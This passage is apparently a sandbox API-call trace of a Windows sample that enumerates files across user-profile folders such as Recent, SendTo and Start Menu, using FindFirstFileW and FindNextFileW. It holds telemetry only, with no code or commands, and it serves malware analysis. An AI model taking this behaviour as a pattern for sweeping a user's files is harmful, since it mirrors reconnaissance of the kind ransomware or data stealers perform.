cAlternateFileName="SM6IXW~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2352050, ftCreationTime.dwHighDateTime=0x1d4c9ce, ftLastAccessTime.dwLowDateTime=0x7e55e240, ftLastAccessTime.dwHighDateTime=0x1d4c7b6, ftLastWriteTime.dwLowDateTime=0x7e55e240, ftLastWriteTime.dwHighDateTime=0x1d4c7b6, nFileSizeHigh=0x0, nFileSizeLow=0x137bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UGs 1G.png", cAlternateFileName="UGS1G~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8dfe920, ftCreationTime.dwHighDateTime=0x1d4c997, ftLastAccessTime.dwLowDateTime=0xc42297d0, ftLastAccessTime.dwHighDateTime=0x1d4d3c0, ftLastWriteTime.dwLowDateTime=0xc42297d0, ftLastWriteTime.dwHighDateTime=0x1d4d3c0, nFileSizeHigh=0x0, nFileSizeLow=0xd259, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uk30lTmUkDiXk.png", cAlternateFileName="UK30LT~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557aeca0, ftCreationTime.dwHighDateTime=0x1d4d182, ftLastAccessTime.dwLowDateTime=0xf7400cc0, ftLastAccessTime.dwHighDateTime=0x1d4cb27, ftLastWriteTime.dwLowDateTime=0xf7400cc0, ftLastWriteTime.dwHighDateTime=0x1d4cb27, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uQNlTbt2ZLDW28.png", cAlternateFileName="UQNLTB~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508a6f00, ftCreationTime.dwHighDateTime=0x1d4d014, ftLastAccessTime.dwLowDateTime=0xaa5ee7f0, ftLastAccessTime.dwHighDateTime=0x1d4cea1, ftLastWriteTime.dwLowDateTime=0xaa5ee7f0, ftLastWriteTime.dwHighDateTime=0x1d4cea1, nFileSizeHigh=0x0, nFileSizeLow=0x1176e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vvqVqmO9vV2.png", cAlternateFileName="VVQVQM~1.PNG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c6520d0, ftCreationTime.dwHighDateTime=0x1d4c590, ftLastAccessTime.dwLowDateTime=0x490fb9b0, ftLastAccessTime.dwHighDateTime=0x1d4cc59, ftLastWriteTime.dwLowDateTime=0x490fb9b0, ftLastWriteTime.dwHighDateTime=0x1d4cc59, nFileSizeHigh=0x0, nFileSizeLow=0x617f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W5kM7vMzTh0L6va.bmp", cAlternateFileName="W5KM7V~1.BMP")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dad29e0, ftCreationTime.dwHighDateTime=0x1d4d598, ftLastAccessTime.dwLowDateTime=0x922e4a70, ftLastAccessTime.dwHighDateTime=0x1d4ce80, ftLastWriteTime.dwLowDateTime=0x922e4a70, ftLastWriteTime.dwHighDateTime=0x1d4ce80, nFileSizeHigh=0x0, nFileSizeLow=0x1234b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whuSlBZPh.jpg", cAlternateFileName="WHUSLB~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a954e0, ftCreationTime.dwHighDateTime=0x1d4d49a, ftLastAccessTime.dwLowDateTime=0x3355c920, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0x3355c920, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0x9a8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wuoRnmzpakY.jpg", cAlternateFileName="WUORNM~1.JPG")) returned 1 [0117.289] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca1dd1c0, ftCreationTime.dwHighDateTime=0x1d4ca85, ftLastAccessTime.dwLowDateTime=0x994e87e0, ftLastAccessTime.dwHighDateTime=0x1d4cd52, ftLastWriteTime.dwLowDateTime=0x994e87e0, ftLastWriteTime.dwHighDateTime=0x1d4cd52, nFileSizeHigh=0x0, nFileSizeLow=0x64bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wvBPa9.gif", cAlternateFileName="")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x787de300, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0xae9fc040, ftLastAccessTime.dwHighDateTime=0x1d4cb0f, ftLastWriteTime.dwLowDateTime=0xae9fc040, ftLastWriteTime.dwHighDateTime=0x1d4cb0f, nFileSizeHigh=0x0, nFileSizeLow=0xb149, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X4f2vPCr2a.bmp", cAlternateFileName="X4F2VP~1.BMP")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78efa70, ftCreationTime.dwHighDateTime=0x1d4cd9c, ftLastAccessTime.dwLowDateTime=0xe89cdc50, ftLastAccessTime.dwHighDateTime=0x1d4cc6e, ftLastWriteTime.dwLowDateTime=0xe89cdc50, ftLastWriteTime.dwHighDateTime=0x1d4cc6e, nFileSizeHigh=0x0, nFileSizeLow=0xcb10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x5DOOinBD.jpg", cAlternateFileName="X5DOOI~1.JPG")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b66fe50, ftCreationTime.dwHighDateTime=0x1d4d2c2, ftLastAccessTime.dwLowDateTime=0x2a2e54c0, ftLastAccessTime.dwHighDateTime=0x1d4c597, ftLastWriteTime.dwLowDateTime=0x2a2e54c0, ftLastWriteTime.dwHighDateTime=0x1d4c597, nFileSizeHigh=0x0, nFileSizeLow=0x79dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xT5AxUm6MKKi2KE.bmp", cAlternateFileName="XT5AXU~1.BMP")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x347fdb30, ftCreationTime.dwHighDateTime=0x1d4c5f9, ftLastAccessTime.dwLowDateTime=0x9efce510, ftLastAccessTime.dwHighDateTime=0x1d4d554, ftLastWriteTime.dwLowDateTime=0x9efce510, ftLastWriteTime.dwHighDateTime=0x1d4d554, nFileSizeHigh=0x0, nFileSizeLow=0xfc9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yjdn_ho1.jpg", cAlternateFileName="")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2055f4e0, ftCreationTime.dwHighDateTime=0x1d4cfc8, ftLastAccessTime.dwLowDateTime=0xb19c5ce0, ftLastAccessTime.dwHighDateTime=0x1d4c5c9, ftLastWriteTime.dwLowDateTime=0xb19c5ce0, ftLastWriteTime.dwHighDateTime=0x1d4c5c9, nFileSizeHigh=0x0, nFileSizeLow=0x12976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zLSSWoma9-HlG53.gif", cAlternateFileName="ZLSSWO~1.GIF")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34170c40, ftCreationTime.dwHighDateTime=0x1d4d468, ftLastAccessTime.dwLowDateTime=0x6bf75040, ftLastAccessTime.dwHighDateTime=0x1d4d13c, ftLastWriteTime.dwLowDateTime=0x6bf75040, ftLastWriteTime.dwHighDateTime=0x1d4d13c, nFileSizeHigh=0x0, nFileSizeLow=0x183cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZRwVhWTmgDeFVw4ZRxb.gif", cAlternateFileName="ZRWVHW~1.GIF")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab8a19b0, ftCreationTime.dwHighDateTime=0x1d4c55a, ftLastAccessTime.dwLowDateTime=0xe97a80a0, ftLastAccessTime.dwHighDateTime=0x1d4d349, ftLastWriteTime.dwLowDateTime=0xe97a80a0, ftLastWriteTime.dwHighDateTime=0x1d4d349, nFileSizeHigh=0x0, nFileSizeLow=0xb162, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_oKd7ir99lD.png", cAlternateFileName="_OKD7I~1.PNG")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 1 [0117.290] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0 [0117.290] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.290] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.290] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0117.290] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.290] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.290] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.290] PathFindFileNameW (pszPath="") returned="" [0117.290] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0xffffffff [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.290] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.291] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.291] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.291] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.291] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.291] PathFindFileNameW (pszPath="") returned="" [0117.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0xffffffff [0117.291] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.291] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.291] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.291] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0117.291] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.291] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.291] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.291] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.291] PathFindFileNameW (pszPath="") returned="" [0117.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.292] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0117.292] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.292] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.292] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.292] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0117.292] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.292] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.292] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.292] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.292] PathFindFileNameW (pszPath="") returned="" [0117.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.292] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0117.292] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0117.293] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.293] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.293] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.293] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.293] PathFindFileNameW (pszPath="") returned="" [0117.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.293] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.293] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0117.293] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.294] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.294] PathFindFileNameW (pszPath="") returned="" [0117.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.294] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.294] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.294] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.294] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.294] PathFindFileNameW (pszPath="") returned="" [0117.294] 